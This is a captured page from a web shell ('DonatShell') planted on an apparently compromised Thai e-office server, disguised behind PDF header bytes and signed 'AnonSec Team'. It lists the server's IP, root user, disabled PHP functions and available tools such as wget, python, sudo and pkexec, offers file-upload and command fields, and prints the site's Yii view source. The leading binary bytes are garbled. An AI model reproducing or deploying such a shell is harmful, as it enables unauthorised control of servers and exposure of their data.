%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/ordernum/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/ordernum/views/default/index.php
<?php

use yii\helpers\Html;
//use yii\grid\GridView;
use kartik\grid\GridView;
use yii\helpers\ArrayHelper;
use backend\modules\departments\models\Departments;
use backend\modules\ordernum\models\Ordernum;
use dixonsatit\thaiYearFormatter\ThaiYearFormatter;
use kartik\daterange\DateRangePicker;
use dosamigos\datepicker\DatePicker;
use yii\bootstrap\Modal;
use yii\helpers\Url;

/* @var $this yii\web\View */
/* @var $searchModel backend\modules\circulardata\models\CircularDataSearch */
/* @var $dataProvider yii\data\ActiveDataProvider */

$this->title = 'เลขคำสั่ง';
$this->params['breadcrumbs'][] = $this->title;

$backend = Yii::getAlias('@back');
//$department = Departments::find()->where(['id' => Yii::$app->user->identity->profile->departments])->one();
$time = new \DateTime('now');
$today = $time->format('Y-m-d');
?>
<?php
Modal::begin([
//    'header' => '<div class="modal-header-circular"><b>ตรวจสอบสถานะการรับทราบหนังสือเวียน</b></div>',
    'id' => 'modal-view-ordernum',
    'size' => 'modal-xl',
    'options' => ['class' => ' '],
]);
echo "<div id='modalContent-view-ordernum'></div>";
//echo "<div class='modal-footer'></div>";
Modal::end();
?>
<?php
$daterange = [
    'model' => $searchModel,
    'attribute' => 'dateon',
    'convertFormat' => true,
    'pluginOptions' => [
        'format' => 'php:Y-m-d',
    ],
];
$gridColumns = [
    [
        'attribute' => 'num',
        'vAlign' => 'middle',
        'width' => '80px',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
        'style' => 'color:#D2691E;text-align: center;cursor:pointer;',
        'name' => 'modal-ordernum-view-button',
        'id' => $model['id'],
//                'value' => Url::to('/circulardata/default/view?id=' . $model->id),
        'onclick' => 'window.location.href = "/ordernum/default/upload?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'date',
        'hAlign' => 'center',
        'width' => '200px',
        'vAlign' => 'middle',
        'xlFormat' => "mmm\\-dd\\, \\-yyyy",
        'format' => 'html',
        'filterType' => GridView::FILTER_DATE,
        'filterWidgetOptions' => (
        [
            'model' => $searchModel,
            'type' => 2,
            'language' => 'th',
            'attribute' => 'date',
            'convertFormat' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-MM-dd',
                'todayHighlight' => true,
            ],
        ]
        ),
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
        'style' => 'color:#1E90FF;text-align: center;cursor:pointer;',
        'name' => 'modal-circular-view-button',
        'id' => $model['id'],
        'onclick' => 'window.location.href = "/ordernum/default/upload?id="+(this.id)',
            ];
        },
        'value' => function ($model) {
//            return Yii::$app->thaiFormatter->asDate($model->date, 'long');
            return Yii::$app->formatter->asDate($model->date, 'long');
        },
    ],
    [
        'attribute' => 'department',
        'width' => '200px',
        'vAlign' => 'middle',
        'filter' => ArrayHelper::map(Departments::find()->where(['NOT IN', 'id', [12]])->all(), 'id', 'name'),
        'filterInputOptions' => [
            'class' => 'form-control',
            'prompt' => 'ทั้งหมด'
        ],
        'value' => function ($model) {
            $value = Departments::find()->where(['id' => $model->department])->one();
            return $value->name;
        },
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
        'style' => 'color:#D2691E;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
        'name' => 'modal-ordernum-view-button',
        'id' => $model['id'],
        'onclick' => 'window.location.href = "/ordernum/default/upload?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'title',
        'width' => '400px',
        'vAlign' => 'middle',
        'headerOptions' => ['class' => 'kv-sticky-column text-center'],
        'contentOptions' => function ($model) {
            return [
        'style' => 'color:#1E90FF;font-weight: 600;text-align: center;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
        'name' => 'modal-ordernum-view-button',
        'id' => $model['id'],
        'onclick' => 'window.location.href = "/ordernum/default/upload?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'name',
        'width' => '200px',
        'vAlign' => 'middle',
        'headerOptions' => ['style' => 'width:150'],
        'format' => 'html',
        'contentOptions' => function ($model) {
            return [
        'style' => 'text-align: center;cursor:pointer;max-width:150px;overflow: auto; white-space: normal; word-wrap: break-word;',
        'name' => 'modal-ordernum-view-button',
        'id' => $model['id'],
        'onclick' => 'window.location.href = "/ordernum/default/upload?id="+(this.id)',
            ];
        },
    ],
    [
        'attribute' => 'status',
        'label' => 'สถานะ',
        'width' => '100px',
        'vAlign' => 'middle',
        'headerOptions' => ['style' => 'width:150'],
        'format' => 'html',
        'filter' => array("0" => "ยกเลิก", "1" => "ปกติ"),
        'filterInputOptions' => [
            'class' => 'form-control',
            'prompt' => 'ทั้งหมด'
        ],
        'contentOptions' => function ($model) {
            return [
        'style' => 'text-align: center;cursor:pointer;max-width:150px;overflow: auto; white-space: normal; word-wrap: break-word;',
        'name' => 'modal-ordernum-view-button',
        'id' => $model['id'],
        'onclick' => 'window.location.href = "/ordernum/default/upload?id="+(this.id)',
            ];
        },
        'value' => function ($model) {
            if ($model->status == 1) {
                return '<i class="m-menu__link-icon fa fa-check" style="color:blue"></i> <span style="color:blue">ปกติ</span>';
            }
            if ($model->status == 0) {
                return '<i class="m-menu__link-icon fa fa-times" style="color:red"></i> <span style="color:red">ยกเลิก</span>';
            }
        },
    ],
//    [
//        'attribute' => 'comment',
//        'label' => 'สาเหตุการยกเลิก',
//        'width' => '200px',
//        'vAlign' => 'middle',
//        'headerOptions' => ['style' => 'width:150'],
//        'format' => 'html',
//        'contentOptions' => function ($model) {
//            return [
//        'style' => 'text-align: center;cursor:pointer;max-width:150px;overflow: auto; white-space: normal; word-wrap: break-word;',
//        'name' => 'modal-ordernum-view-button',
//        'id' => $model['id'],
////        'onclick' => 'window.location.href = "/ordernum/default/view?id="+(this.id)',
//            ];
//        },
//    ],<i class="fa-solid fa-file-plus"></i>
//    [
//        'label' => 'เพิ่ม/แก้ไขไฟล์เอกสาร',
//        'width' => '80px',
//        'vAlign' => 'middle',
//        'headerOptions' => ['style' => 'width:80px'],
//        'format' => 'html',
//        'value' => function ($model) {
//            if ($model->file != null) {
//                return Html::a('<i class="fa-solid fa-file-pen"></i> แก้ไขไฟล์เอกสาร', '/ordernum/default/upload?id='. $model->id, [
//                            'class' => 'btn btn-lg btn-success m-btn m-btn--custom',
//                            'data-toggle' => 'tooltip',
//                            'title' => 'แก้ไขไฟล์เอกสาร',
//                ]);
//            } else {
//                return Html::a('<i class="fa-solid fa-file-circle-plus"></i> เพิ่มไฟล์เอกสาร', '/ordernum/default/upload?id='. $model->id, [
//                            'class' => 'btn btn-lg btn-danger m-btn m-btn--custom',
//                            'data-toggle' => 'tooltip',
//                            'title' => 'เพิ่มไฟล์เอกสาร',
//                ]);
//            }
//        },
//    ],
    [
        'class' => 'kartik\grid\FormulaColumn',
        'header' => '<i class="fa-solid fa-file-lines fa-2xl" style="font-size: 2.1rem;"></i>',
        'vAlign' => 'middle',
        'width' => '100px',
        'format' => 'raw',
        'value' => function ($model) {
            if ($model->file != null) {
                return Html::a('<i class="fa-solid fa-file-lines fa-2xl" style="font-size: 2.1rem;"></i>', '@front/ordernumfiles/' . $model->file, [
                            'data-pjax' => '0',
                            'target' => '_blank',
                            'data-toggle' => 'tooltip',
                            'title' => 'ไฟล์เอกสาร'
                ]);
            } else {
                return '<p class="text-danger">-</p>';
            }
        },
        'headerOptions' => ['class' => 'kartik-sheet-style'],
        'hAlign' => 'center',
        'mergeHeader' => true,
    ],
];
?>
<div style="text-align: center;padding-top: 10px;padding-bottom: 10px;">
    <?=
    Html::a('<i class="flaticon-add" style="padding-right:10px"></i> ออกเลขคำสั่ง', '/ordernum/default/form', [
        'class' => 'btn btn-lg btn-danger m-btn m-btn--custom',
//    'target' => '_blank',
        'data-toggle' => 'tooltip',
        'title' => 'ออกเลขคำสั่ง',
    ]);
    ?>
</div>
<div class="site-index">
    <div class="body-content">
        <div class="m-divider m--padding-bottom-20">
            <span></span>
            <h3 class="bg-light m--padding-20"><?= Html::encode($this->title) ?></h3>
            <span></span>
        </div>
        <div class="m-portlet m-portlet--mobile">
            <?=
            GridView::widget([
                'id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,
                'dataProvider' => $dataProvider,
                'filterModel' => $searchModel,
                'options' => [
                    'class' => 'm-datatable__table table table-bordered'
                ],
                'filterRowOptions' => ['class' => 'kartik-sheet-style'],
                'layout' => "{items}\n{pager}",
                'showPageSummary' => false,
                'panel' => [
                    'type' => GridView::TYPE_PRIMARY
                ],
                'panelTemplate' => '
                        <div class="m_datatable m-datatable m-datatable--default m-datatable--loaded panel {type}">
                            {items}
                            <div class="m-datatable__pager m-datatable--paging-loaded clearfix">
                                {pager}
                            </div>
                            <div class="clearfix"></div>
                        </div>',
                'pjax' => true,
                'pjaxSettings' => [
                    'neverTimeout' => true,
                    'enablePushState' => true,
                    'options' => ['id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,],
                ],
                'pager' => Yii::$app->params['pagerX'],
                'toolbar' => [
                    '{export}',
                    '{toggleData}'
                ],
                'export' => [
                    'label' => 'ดาว์โหลดเอกสาร',
                    'fontAwesome' => true,
                    'showConfirmAlert' => false,
                    'target' => \kartik\grid\GridView::TARGET_BLANK
                ],
                'exportConfig' => [
                    \kartik\grid\GridView::EXCEL => false,
                ],
                'responsive' => true,
                'responsiveWrap' => false,
                'hover' => true,
                'headerRowOptions' => ['class' => 'header-table-center',],
                'columns' => $gridColumns,
                'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
            ]);
            ?>
        </div>
    </div>
</div>

Anon7 - 2022
AnonSec Team